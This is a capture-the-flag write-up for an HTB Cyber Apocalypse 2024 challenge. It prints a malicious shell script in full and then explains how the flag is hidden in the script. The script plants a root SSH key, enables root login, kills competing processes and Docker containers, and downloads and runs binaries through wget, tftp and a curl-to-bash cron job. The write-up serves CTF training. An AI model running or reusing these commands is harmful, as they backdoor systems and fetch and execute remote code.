HTB Cyber Apocalypse 2024: Hacker Royale - It Has Begun

Challenge

The Fray is upon us, and the very first challenge has been released! Are you ready factions!? Considering this is just the beginning, if you cannot musted the teamwork needed this early, then your doom is likely inevitable.

Metadata

• Difficulty: very easy
• Creator: c4n0pus
• Files: `script.sh
• Docker: no
• Tags: sh, script
• Points: 300
• Number of solvers:

Solution

We got a script.sh shell script:

#!/bin/sh

if [ "$HOSTNAME" != "KORP-STATION-013" ]; then
    exit
fi

if [ "$EUID" -ne 0 ]; then
    exit
fi

docker kill $(docker ps -q)
docker rm $(docker ps -a -q)

echo "ssh-rsa AAAAB4NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D7s4J0L7XV2kep0rNzgY1S1IdE8HDAf7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B user@tS_u0y_ll1w{BTH" >> /root/.ssh/authorized_keys
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "128.90.59.19 legions.korp.htb" >> /etc/hosts

for filename in /proc/*; do
    ex=$(ls -latrh $filename 2> /dev/null|grep exe)
    if echo $ex |grep -q "/var/lib/postgresql/data/postgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then
        result=$(echo "$filename" | sed "s/\/proc\///")
        kill -9 $result
        echo found $filename $result
    fi
done

ARCH=$(uname -m)
array=("x86" "x86_64" "mips" "aarch64" "arm")

if [[ $(echo ${array[@]} | grep -o "$ARCH" | wc -w) -eq 0 ]]; then
  exit
fi


cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777 0xda4.0xda4.$ARCH; ./0xda4.0xda4.$ARCH; 
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; tftp legions.korp.htb -c get 0xda4.0xda4.$ARCH; cat 0xda4.0xda4.$ARCH > DVRHelper; chmod +x *; ./DVRHelper $ARCH; 
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; busybox wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777;./0xda4.0xda4.$ARCH;
echo "*/5 * * * * root curl -s http://legions.korp.htb/0xda4.0xda4.$ARCH | bash -c 'NG5kX3kwdVJfR3IwdU5kISF9' " >> /etc/crontab

In the SSH key there it the first part of the flag reversed (tS_u0y_ll1w{BTH): HTB{w1ll_y0u_St

The last line of the script has the second part Base64 encoded (NG5kX3kwdVJfR3IwdU5kISF9): 4nd_y0uR_Gr0uNd!!}

Flag: HTB{w1ll_y0u_St4nd_y0uR_Gr0uNd!!}